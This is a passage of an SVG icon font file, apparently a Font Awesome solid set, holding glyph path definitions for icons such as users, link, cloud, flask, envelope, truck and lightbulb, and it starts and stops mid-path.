c9.37305 9.37305 24.5684 9.37305 33.9404 0l79.1963 -79.1953c15.1191 -15.1191 4.41113 -40.9717 -16.9707 -40.9717h-51.1621v-100.804h100.804v51.1621c0 21.3818 25.8516 32.0898 40.9707 16.9707l79.1953 -79.1963c9.37305 -9.37207 9.37305 -24.5684 0 -33.9404
l-79.1953 -79.1963c-15.1191 -15.1191 -40.9717 -4.41113 -40.9707 16.9717v51.2285h-100.803v-100.804h51.2305c21.3818 0 32.0898 -25.8516 16.9707 -40.9717z" />
    <glyph glyph-name="users" unicode="&#xf0c0;" horiz-adv-x="640" 
d="M96 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM544 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM576 192c35.2998 0 64 -28.7002 64 -64v-32
c0 -17.7002 -14.2998 -32 -32 -32h-66c-6.2002 47.4004 -34.7998 87.2998 -75.0996 109.4c11.5996 11.5 27.5 18.5996 45.0996 18.5996h64zM320 192c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM396.8 160
c63.6006 0 115.2 -51.5996 115.2 -115.2v-28.7998c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v28.7998c0 63.6006 51.5996 115.2 115.2 115.2h8.2998c20.9004 -10 43.9004 -16 68.5 -16s47.7002 6 68.5 16h8.2998zM173.1 173.4
c-40.2998 -22.1006 -68.8994 -62 -75.1992 -109.4h-65.9004c-17.7002 0 -32 14.2998 -32 32v32c0 35.2998 28.7002 64 64 64h64c17.5996 0 33.5 -7.09961 45.0996 -18.5996z" />
    <glyph glyph-name="link" unicode="&#xf0c1;" 
d="M326.612 262.609c59.7471 -59.8096 58.9268 -155.698 0.359375 -214.591c-0.109375 -0.119141 -0.239258 -0.25 -0.359375 -0.369141l-67.2002 -67.2002c-59.2705 -59.2705 -155.699 -59.2627 -214.96 0c-59.2705 59.2598 -59.2705 155.7 0 214.96l37.1055 37.1055
c9.84082 9.84082 26.7861 3.30078 27.2939 -10.6055c0.648438 -17.7227 3.82617 -35.5273 9.69043 -52.7207c1.98633 -5.82227 0.567383 -12.2627 -3.7832 -16.6123l-13.0869 -13.0869c-28.0254 -28.0264 -28.9053 -73.6602 -1.15527 -101.96
c28.0244 -28.5791 74.0859 -28.749 102.325 -0.510742l67.2002 67.1904c28.1914 28.1914 28.0732 73.7568 0 101.83c-3.70117 3.69434 -7.42871 6.56348 -10.3408 8.56934c-3.66504 2.51562 -6.77734 8.16309 -6.94727 12.6055
c-0.395508 10.5674 3.34766 21.4561 11.6982 29.8057l21.0537 21.0557c5.52148 5.52051 14.1826 6.19922 20.584 1.73047c6.08301 -4.24707 15.2764 -11.9512 20.5225 -17.1963zM467.547 403.551c59.2705 -59.2598 59.2705 -155.7 -0.000976562 -214.959l-37.1055 -37.1055
c-9.84082 -9.83984 -26.7852 -3.30078 -27.2939 10.6055c-0.648438 17.7227 -3.82617 35.5273 -9.69043 52.7217c-1.98633 5.82129 -0.567383 12.2617 3.7832 16.6113l13.0869 13.0869c28.0264 28.0264 28.9053 73.6602 1.15527 101.96
c-28.0254 28.5791 -74.0869 28.749 -102.325 0.510742l-67.2002 -67.1904c-28.1914 -28.1914 -28.0732 -73.7568 0 -101.83c3.70117 -3.69434 7.42871 -6.56348 10.3408 -8.56934c3.66504 -2.51562 6.77734 -8.16309 6.94727 -12.6055
c0.395508 -10.5674 -3.34766 -21.4561 -11.6982 -29.8057l-21.0537 -21.0557c-5.52051 -5.51953 -14.1826 -6.19922 -20.584 -1.73047c-6.08203 4.24609 -15.2754 11.9502 -20.5215 17.1953c-59.7471 59.8096 -58.9258 155.698 -0.359375 214.591
c0.109375 0.119141 0.239258 0.25 0.359375 0.369141l67.2002 67.2002c59.2705 59.2705 155.699 59.2627 214.96 0z" />
    <glyph glyph-name="cloud" unicode="&#xf0c2;" horiz-adv-x="640" 
d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 96.2002 135.9c-0.100586 2.69922 -0.200195 5.39941 -0.200195 8.09961c0 88.4004 71.5996 160 160 160
c59.2998 0 111 -32.2002 138.7 -80.2002c15.2002 10.2002 33.5996 16.2002 53.2998 16.2002c53 0 96 -43 96 -96c0 -12.2002 -2.2998 -23.9004 -6.40039 -34.5996z" />
    <glyph glyph-name="flask" unicode="&#xf0c3;" horiz-adv-x="448" 
d="M437.2 44.5c29.2998 -47 -4.40039 -108.5 -60.1006 -108.5h-306.199c-55.6006 0 -89.4004 61.4004 -60.1006 108.5l117.2 188.5v151h-8c-13.2998 0 -24 10.7002 -24 24v16c0 13.2998 10.7002 24 24 24h208c13.2998 0 24 -10.7002 24 -24v-16
c0 -13.2998 -10.7002 -24 -24 -24h-8v-151zM137.9 128h172l-48.2002 77.5996c-3.60059 5.2002 -5.7998 11.5 -5.7998 18.4004v160h-64v-160c0 -6.7998 -2.10059 -13.2002 -5.80078 -18.4004z" />
    <glyph glyph-name="cut" unicode="&#xf0c4;" horiz-adv-x="448" 
d="M278.06 192l166.421 -166.43c4.68945 -4.69043 4.68945 -12.29 0 -16.9707c-32.8008 -32.7998 -85.9902 -32.7998 -118.79 0l-115.511 115.521l-24.8594 -24.8604c4.30957 -10.9199 6.67969 -22.8096 6.67969 -35.2598c0 -53.0195 -42.9805 -96 -96 -96
s-96 42.9805 -96 96s42.9805 96 96 96c4.53027 0 8.99023 -0.320312 13.3604 -0.929688l32.9297 32.9297l-32.9297 32.9297c-4.37012 -0.609375 -8.82031 -0.929688 -13.3604 -0.929688c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96
c0 -12.4502 -2.37012 -24.3398 -6.67969 -35.2598l24.8594 -24.8604l115.511 115.521c32.7998 32.7998 85.9893 32.7998 118.79 0c4.68945 -4.68066 4.68945 -12.2803 0 -16.9707zM96 288c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32
s14.3604 -32 32 -32zM96 32c17.6396 0 32 14.3604 32 32s-14.3604 32 -32 32s-32 -14.3604 -32 -32s14.3604 -32 32 -32z" />
    <glyph glyph-name="copy" unicode="&#xf0c5;" horiz-adv-x="448" 
d="M320 0v-40c0 -13.2549 -10.7451 -24 -24 -24h-272c-13.2549 0 -24 10.7451 -24 24v368c0 13.2549 10.7451 24 24 24h72v-296c0 -30.8789 25.1211 -56 56 -56h168zM320 344c0 -13.2002 10.7998 -24 24 -24h104v-264c0 -13.2549 -10.7451 -24 -24 -24h-272
c-13.2549 0 -24 10.7451 -24 24v368c0 13.2549 10.7451 24 24 24h168v-104zM440.971 375.029c3.87988 -3.88086 7.0293 -11.4834 7.0293 -16.9707v-6.05859h-96v96h6.05859c5.4873 0 13.0898 -3.14941 16.9707 -7.0293z" />
    <glyph glyph-name="paperclip" unicode="&#xf0c6;" horiz-adv-x="448" 
d="M43.2461 -18.1416c-58.4297 60.2891 -57.3408 157.511 1.38574 217.581l209.76 214.561c44.3164 45.332 116.352 45.3359 160.672 0c43.8896 -44.8936 43.9424 -117.329 0 -162.276l-182.85 -186.852c-29.8545 -30.5371 -78.6328 -30.1113 -107.981 0.998047
c-28.2754 29.9697 -27.3682 77.4727 1.45117 106.953l143.743 146.835c6.18262 6.31348 16.3125 6.42188 22.626 0.241211l22.8613 -22.3799c6.31445 -6.18164 6.42188 -16.3115 0.241211 -22.626l-143.729 -146.82c-4.93164 -5.04492 -5.23535 -13.4287 -0.647461 -18.292
c4.37207 -4.63379 11.2451 -4.71094 15.6875 -0.165039l182.85 186.851c19.6123 20.0625 19.6123 52.7256 -0.0117188 72.7979c-19.1885 19.627 -49.957 19.6377 -69.1533 0l-209.762 -214.56c-34.7627 -35.5605 -35.2988 -93.1201 -1.19043 -128.313
c34.0098 -35.0928 88.9844 -35.1367 123.058 -0.285156l172.061 175.999c6.17676 6.31836 16.3066 6.43262 22.626 0.255859l22.877 -22.3643c6.31836 -6.17676 6.43359 -16.3066 0.255859 -22.626l-172.061 -175.998c-59.5752 -60.9385 -155.942 -60.2158 -214.77 0.485352
z" />
    <glyph glyph-name="save" unicode="&#xf0c7;" horiz-adv-x="448" 
d="M433.941 318.059c7.75977 -7.75977 14.0586 -22.9658 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h268.118c10.9746 0 26.1807 -6.29883 33.9404 -14.0586zM224 32
c35.3457 0 64 28.6543 64 64s-28.6543 64 -64 64s-64 -28.6543 -64 -64s28.6543 -64 64 -64zM320 336.52c0 2.74316 -1.5752 6.5459 -3.51465 8.48535l-3.48047 3.48047c-2.25 2.25098 -5.30176 3.51465 -8.48535 3.51465h-228.52c-6.62695 0 -12 -5.37305 -12 -12v-104
c0 -6.62695 5.37305 -12 12 -12h232c6.62695 0 12 5.37305 12 12v100.52z" />
    <glyph glyph-name="square" unicode="&#xf0c8;" horiz-adv-x="448" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352z" />
    <glyph glyph-name="bars" unicode="&#xf0c9;" horiz-adv-x="448" 
d="M16 316c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40c0 -8.83691 -7.16309 -16 -16 -16h-416zM16 156c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40
c0 -8.83691 -7.16309 -16 -16 -16h-416zM16 -4c-8.83691 0 -16 7.16309 -16 16v40c0 8.83691 7.16309 16 16 16h416c8.83691 0 16 -7.16309 16 -16v-40c0 -8.83691 -7.16309 -16 -16 -16h-416z" />
    <glyph glyph-name="list-ul" unicode="&#xf0ca;" 
d="M48 400c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48s-48 21.5039 -48 48s21.5039 48 48 48zM48 240c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48s-48 21.5039 -48 48s21.5039 48 48 48zM48 80c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48
s-48 21.5039 -48 48s21.5039 48 48 48zM496 64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 384c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16
h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320z" />
    <glyph glyph-name="list-ol" unicode="&#xf0cb;" 
d="M61.7695 47c19.6104 -5.12012 28.7002 -20.5 28.7305 -34.8799c0 -21.3701 -14.3398 -44.1201 -48.5 -44.1201c-16.6201 0 -29.29 4.75 -37 9.44043c-5.82031 4.21973 -6.34961 9.80957 -2.62988 15.9395l5.58984 9.31055c3.86035 6.61914 9.11035 7 15.5996 3.11914
c4.10352 -1.68652 11.0342 -3.08496 15.4707 -3.11914c10.1602 0 14.3594 3.5 14.3594 8.21973c0 6.64941 -5.60938 9.08984 -15.9395 9.08984h-4.73047c-5.95996 0 -9.25 2.12012 -12.25 7.87988l-1.0498 1.92969c-2.4502 4.75 -1.2002 9.81055 2.7998 14.8809l5.61035 7
c2.85742 3.55664 7.78516 9.07129 11 12.3096h-22.8301c-4.41602 0 -8 3.58398 -8 8v16c0 4.41602 3.58398 8 8 8h57c7.5 0 11.3398 -4 11.3398 -11.3496v-3.31055c0.0107422 -0.245117 0.0205078 -0.644531 0.0205078 -0.890625
c0 -4.20801 -2.28027 -10.166 -5.09082 -13.2988zM496 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 384c8.83203 0 16 -7.16797 16 -16v-32
c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM496 64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-320c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h320zM16 288
c-4.41602 0 -8 3.58398 -8 8v16c0 4.41602 3.58398 8 8 8h16v64h-8c-4.4082 0.0078125 -7.98535 3.5918 -7.98535 8c0 1.04297 0.378906 2.64746 0.845703 3.58008l8 16c1.21777 2.43457 4.41699 4.41504 7.13965 4.41992h24c4.41602 0 8 -3.58398 8 -8v-88h16
c4.41602 0 8 -3.58398 8 -8v-16c0 -4.41602 -3.58398 -8 -8 -8h-64zM12.0898 128c-7.00977 0 -12.0898 4 -12.0898 11.4102v4c0 47.2803 51 56.3994 50.9697 69.1201c0 7.18945 -5.9502 8.75 -9.2793 8.75h-0.0546875c-3.02832 0 -7.24219 -1.7207 -9.40527 -3.83984
c-5.12012 -4.91016 -10.5107 -7 -16.1201 -2.44043l-8.58008 6.87988c-5.7998 4.53027 -7.16992 9.78027 -2.7998 15.3701c6.65918 8.75 19.0996 18.75 40.46 18.75c19.4697 0 44.4697 -10.5 44.4697 -39.5596c0 -37.7607 -45.0498 -46.1504 -48.3398 -56.4404h38.6797
c4.41602 0 8 -3.58398 8 -8v-16c0 -4.41602 -3.58398 -8 -8 -8h-67.9102z" />
    <glyph glyph-name="strikethrough" unicode="&#xf0cc;" 
d="M496 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-480c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h102.29c-11.6797 16.5303 -19.7803 35.4697 -21.7803 56.3604c-0.319336 3.29297 -0.579102 8.65137 -0.579102 11.96
c0 68.2158 55.3633 123.624 123.579 123.68h68h0.0117188c43.6865 0 94.9863 -31.7188 114.509 -70.7998l0.529297 -1c0.930664 -1.86328 1.68652 -5.06641 1.68652 -7.14844c0 -5.45898 -3.96289 -11.8711 -8.8457 -14.3115l-42.9404 -21.4707
c-1.86426 -0.931641 -5.06836 -1.6875 -7.15234 -1.6875c-5.45605 0 -11.8652 3.95996 -14.3076 8.83789c-7.61133 15.2246 -27.6025 27.5801 -44.624 27.5801h-0.0361328h-66.79c-24.0391 -0.000976562 -43.5488 -19.5107 -43.5488 -43.5498
c0 -17.749 13.7666 -36.3945 30.7295 -41.6201l87.1699 -26.8301h202.1zM315.76 128h94.3906c2.21191 -6.56152 4.60352 -17.4746 5.33984 -24.3604c0.319336 -3.29297 0.579102 -8.65137 0.579102 -11.96c0 -68.2158 -55.3633 -123.624 -123.579 -123.68h-68h-0.0117188
c-43.6865 0 -94.9863 31.7188 -114.509 70.7998l-0.529297 1c-0.930664 1.86328 -1.68652 5.06641 -1.68652 7.14844c0 5.45898 3.96289 11.8711 8.8457 14.3115l42.9404 21.4707c1.86426 0.931641 5.06836 1.6875 7.15234 1.6875
c5.45605 0 11.8652 -3.95996 14.3076 -8.83789c7.61133 -15.2246 27.6025 -27.5801 44.624 -27.5801h0.0361328h66.79c24.0176 0.0224609 43.5273 19.5322 43.5498 43.5498c-0.00976562 13.1572 -9.07715 29.4863 -20.2402 36.4502z" />
    <glyph glyph-name="underline" unicode="&#xf0cd;" horiz-adv-x="448" 
d="M32 384c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h144c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32v-160c0 -44.1602 35.8398 -80 80 -80s80 35.8398 80 80v160h-32c-8.83203 0 -16 7.16797 -16 16v32
c0 8.83203 7.16797 16 16 16h144c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-32v-160c0 -88.2197 -71.7803 -160 -160 -160s-160 71.7803 -160 160v160h-32zM432 0c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-416
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h416z" />
    <glyph glyph-name="table" unicode="&#xf0ce;" 
d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM224 32v96h-160v-96h160zM224 192v96h-160v-96h160zM448 32v96h-160v-96h160zM448 192v96h-160v-96h160z" />
    <glyph glyph-name="magic" unicode="&#xf0d0;" 
d="M224 352l-16 32l-32 16l32 16l16 32l16 -32l32 -16l-32 -16zM80 288l-26.6602 53.3301l-53.3398 26.6699l53.3398 26.6699l26.6602 53.3301l26.6602 -53.3301l53.3398 -26.6699l-53.3398 -26.6699zM432 160l26.6602 -53.3301l53.3398 -26.6699l-53.3398 -26.6699
l-26.6602 -53.3301l-26.6602 53.3301l-53.3398 26.6699l53.3398 26.6699zM502.62 353.77c12.5 -12.4893 12.5 -32.7598 0 -45.2393l-363.14 -363.15c-6.25 -6.25 -14.4404 -9.37012 -22.6309 -9.37012c-8.17969 0 -16.3691 3.12012 -22.6191 9.37012l-84.8506 84.8506
c-12.5 12.4893 -12.5 32.75 0 45.25l363.14 363.14c6.25 6.25977 14.4404 9.37988 22.6309 9.37988c8.18945 0 16.3799 -3.12012 22.6191 -9.37988zM359.45 244.54l86.5996 86.5996l-50.9102 50.9102l-86.5996 -86.5996z" />
    <glyph glyph-name="truck" unicode="&#xf0d1;" horiz-adv-x="640" 
d="M624 96c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-48c0 -53 -43 -96 -96 -96s-96 43 -96 96h-128c0 -53 -43 -96 -96 -96s-96 43 -96 96h-16c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48 -21.5 48 -48v-48h44.0996
c12.7002 0 24.9004 -5.09961 33.9004 -14.0996l99.9004 -99.9004c9 -9 14.0996 -21.2002 14.0996 -33.9004v-108.1h16zM160 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM480 -16c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48
s21.5 -48 48 -48zM560 192v12.0996l-99.9004 99.9004h-44.0996v-112h144z" />
    <glyph glyph-name="money-bill" unicode="&#xf0d6;" horiz-adv-x="640" 
d="M608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM48 48h64c0 35.3496 -28.6504 64 -64 64v-64zM48 272c35.3496 0 64 28.6504 64 64h-64v-64zM320 96
c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96zM592 48v64c-35.3496 0 -64 -28.6504 -64 -64h64zM592 272v64h-64c0 -35.3496 28.6504 -64 64 -64z" />
    <glyph glyph-name="caret-down" unicode="&#xf0d7;" horiz-adv-x="320" 
d="M31.2998 256h257.3c17.8008 0 26.7002 -21.5 14.1006 -34.0996l-128.601 -128.7c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0l-128.6 128.7c-12.6006 12.5996 -3.7002 34.0996 14.0996 34.0996z" />
    <glyph glyph-name="caret-up" unicode="&#xf0d8;" horiz-adv-x="320" 
d="M288.662 96h-257.324c-17.8184 0 -26.7412 21.543 -14.1416 34.1416l128.662 128.662c7.80957 7.81055 20.4736 7.81055 28.2832 0l128.662 -128.662c12.6006 -12.5986 3.67676 -34.1416 -14.1416 -34.1416z" />
    <glyph glyph-name="caret-left" unicode="&#xf0d9;" horiz-adv-x="192" 
d="M192 320.662v-257.324c0 -17.8184 -21.543 -26.7412 -34.1416 -14.1416l-128.662 128.662c-7.81055 7.80957 -7.81055 20.4736 0 28.2832l128.662 128.662c12.5986 12.6006 34.1416 3.67676 34.1416 -14.1416z" />
    <glyph glyph-name="caret-right" unicode="&#xf0da;" horiz-adv-x="192" 
d="M0 63.3379v257.324c0 17.8184 21.543 26.7412 34.1416 14.1416l128.662 -128.662c7.81055 -7.80957 7.81055 -20.4736 0 -28.2832l-128.662 -128.662c-12.5986 -12.6006 -34.1416 -3.67676 -34.1416 14.1416z" />
    <glyph glyph-name="columns" unicode="&#xf0db;" 
d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM224 32v256h-160v-256h160zM448 32v256h-160v-256h160z" />
    <glyph glyph-name="sort" unicode="&#xf0dc;" horiz-adv-x="320" 
d="M41 160h238c21.4004 0 32.0996 -25.9004 17 -41l-119 -119c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-119.1 119c-15.0996 15.0996 -4.40039 41 17 41zM296 265c15.0996 -15.0996 4.40039 -41 -17 -41h-238c-21.4004 0 -32.0996 25.9004 -17 41l119.1 119
c9.30078 9.40039 24.5 9.40039 33.9004 0z" />
    <glyph glyph-name="sort-down" unicode="&#xf0dd;" horiz-adv-x="320" 
d="M41 160h238c21.4004 0 32.0996 -25.9004 17 -41l-119 -119c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-119.1 119c-15.0996 15.0996 -4.40039 41 17 41z" />
    <glyph glyph-name="sort-up" unicode="&#xf0de;" horiz-adv-x="320" 
d="M279 224h-238c-21.4004 0 -32.0996 25.9004 -17 41l119 119c9.40039 9.40039 24.5996 9.40039 33.9004 0l119 -119c15.1992 -15.0996 4.5 -41 -16.9004 -41z" />
    <glyph glyph-name="envelope" unicode="&#xf0e0;" 
d="M502.3 257.2c3.90039 3.09961 9.7002 0.200195 9.7002 -4.7002v-204.5c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v204.4c0 5 5.7002 7.7998 9.7002 4.69922c22.3994 -17.3994 52.0996 -39.5 154.1 -113.6
c21.1006 -15.4004 56.7002 -47.7998 92.2002 -47.5996c35.7002 -0.300781 72 32.7998 92.2998 47.5996c102 74.0996 131.601 96.2998 154 113.7zM256 128c-23.2002 -0.400391 -56.5996 29.2002 -73.4004 41.4004c-132.699 96.2998 -142.8 104.8 -173.399 128.699
c-5.7998 4.60059 -9.2002 11.5 -9.2002 18.9004v19c0 26.5 21.5 48 48 48h416c26.5 0 48 -21.5 48 -48v-19c0 -7.40039 -3.40039 -14.4004 -9.2002 -18.9004c-30.5996 -24 -40.7002 -32.3994 -173.399 -128.699c-16.8008 -12.2002 -50.2002 -41.8008 -73.4004 -41.4004z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M212.333 223.667h-200.333c-6.62695 0 -12 5.37305 -12 12v200.333c0 6.62695 5.37305 12 12 12h48c6.62695 0 12 -5.37305 12 -12v-78.1123c45.7734 50.833 112.26 82.6426 186.175 82.1055c136.906 -0.994141 246.448 -111.623 246.157 -248.532
c-0.291016 -136.719 -111.212 -247.461 -247.999 -247.461c-64.0889 0 -122.496 24.3135 -166.51 64.2148c-5.09961 4.62207 -5.33398 12.5537 -0.466797 17.4199l33.9668 33.9668c4.47363 4.47461 11.6621 4.71777 16.4004 0.525391
c31.0361 -27.4629 71.8564 -44.127 116.609 -44.127c97.2676 0 176 78.7158 176 176c0 97.2666 -78.7158 176 -176 176c-58.4961 0 -110.28 -28.4756 -142.274 -72.333h98.2744c6.62695 0 12 -5.37305 12 -12v-48c0 -6.62695 -5.37305 -12 -12 -12z" />
    <glyph glyph-name="gavel" unicode="&#xf0e3;" 
d="M504.971 248.638c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-124.451 -124.451c-9.37109 -9.37305 -24.5674 -9.37305 -33.9404 0l-22.627 22.627c-9.37305 9.37207 -9.37305 24.5684 0 33.9414l5.65723 5.65625l-39.5986 39.5986l-81.04 -81.04l5.65723 -5.65723
c12.4971 -12.4971 12.4971 -32.7578 0 -45.2549l-114.745 -114.745c-12.4971 -12.4971 -32.7578 -12.4971 -45.2549 0l-45.2549 45.2549c-12.4971 12.4971 -12.4971 32.7578 0 45.2549l114.744 114.746c12.4971 12.4971 32.7578 12.4971 45.2549 0l5.65723 -5.65723
l81.04 81.04l-39.5986 39.5986l-5.65625 -5.65723c-9.37207 -9.37305 -24.5684 -9.37305 -33.9414 0l-22.627 22.627c-9.37305 9.37207 -9.37305 24.5684 0 33.9404l124.451 124.451c9.37207 9.37305 24.5674 9.37305 33.9404 0l22.627 -22.6279
c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-5.65625 -5.65723l113.138 -113.137l5.65723 5.65625c9.37207 9.37305 24.5674 9.37305 33.9404 0z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="320" 
d="M296 288c18.5 0 30 -20.0996 20.7002 -36l-176 -304c-4.40039 -7.59961 -12.4004 -12 -20.7998 -12c-15.3008 0 -26.9004 14.2998 -23.3008 29.5l46.1006 194.5h-118.7c-14.5 0 -25.7002 12.7998 -23.7998 27.2002l32 240
c1.59961 11.8994 11.7998 20.7998 23.7998 20.7998h144c15.7002 0 27.2002 -15 23.2002 -30.2002l-42.6006 -129.8h115.4z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="640" 
d="M128 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM104 176v-48h-48v57.5898c0 21.1797 17.2305 38.4102 38.4102 38.4102h201.59v64h-40c-17.6699 0 -32 14.3301 -32 32
v96c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-40v-64h201.59c21.1797 0 38.4102 -17.2402 38.4102 -38.4102v-57.5898h-48v48h-192v-48h-48v48h-192zM368 96c17.6699 0 32 -14.3301 32 -32v-96
c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96zM608 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-96c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h96z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="576" 
d="M575.7 167.2c2.2002 -10.1006 -8.40039 -21.4004 -18.7002 -11.4004c-51.5 54.4004 -107.6 52.5 -158.6 -37c-5.30078 -9.5 -14.9004 -8.59961 -19.7002 0c-2.5 4.40039 -32.2002 73.2002 -90.7002 73.2002c-45.7998 0 -70.5 -37.7998 -90.7002 -73.2002
c-4.7998 -8.59961 -14.3994 -9.5 -19.7002 0c-50.8994 89.4004 -106.6 92 -158.6 37c-10.2002 -9.89941 -20.9004 1.2998 -18.7002 11.4004c29.2002 136.3 138 218.2 255.7 230.899v17.9004c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32v-17.9004
c117.3 -12.6992 227.1 -94.5996 255.7 -230.899zM256 146.3c9.59961 8.90039 19.7002 13.6006 32 13.7002c12.2002 0 22.9004 -5.7002 32 -13.5996v-130.301c0 -44.0996 -35.9004 -80 -80 -80c-33.7998 0 -64.2002 21.4004 -75.4004 53.3008
c-5.89941 16.5996 2.80078 34.8994 19.5 40.7998c16.7002 5.89941 34.9004 -2.7998 40.8008 -19.5c1.89941 -5.40039 7.2998 -10.7002 15.0996 -10.7002c8.7998 0 16 7.2002 16 16v130.3z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="448" 
d="M128 264v-232h-104c-13.2549 0 -24 10.7451 -24 24v336c0 13.2549 10.7451 24 24 24h80.6104c11.084 19.1104 31.7529 32 55.3896 32s44.3057 -12.8896 55.3896 -32h80.6104c13.2549 0 24 -10.7451 24 -24v-72h-136c-30.8779 0 -56 -25.1211 -56 -56zM160 408
c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24zM344 160h104v-200c0 -13.2549 -10.7451 -24 -24 -24h-240c-13.2549 0 -24 10.7451 -24 24v304c0 13.2549 10.7451 24 24 24h136v-104c0 -13.2002 10.7998 -24 24 -24z
M448 198.059v-6.05859h-96v96h6.05859c5.4873 0 13.0898 -3.14941 16.9707 -7.0293l65.9404 -65.9404c3.88086 -3.88086 7.03027 -11.4834 7.03027 -16.9717z" />
    <glyph glyph-name="lightbulb" unicode="&#xf0eb;" horiz-adv-x="352" 
d="M96.0596 -6.34961l-0.0498047 38.3496h159.98l-0.0400391 -38.3496c-0.00585938 -5.3291 -2.40723 -13.2549 -5.36035 -17.6904l-17.0898 -25.6904c-5.24023 -7.88184 -17.1748 -14.2793 -26.6396 -14.2793h-61.71c-9.46582 0 -21.4004 6.39746 -26.6406 14.2793
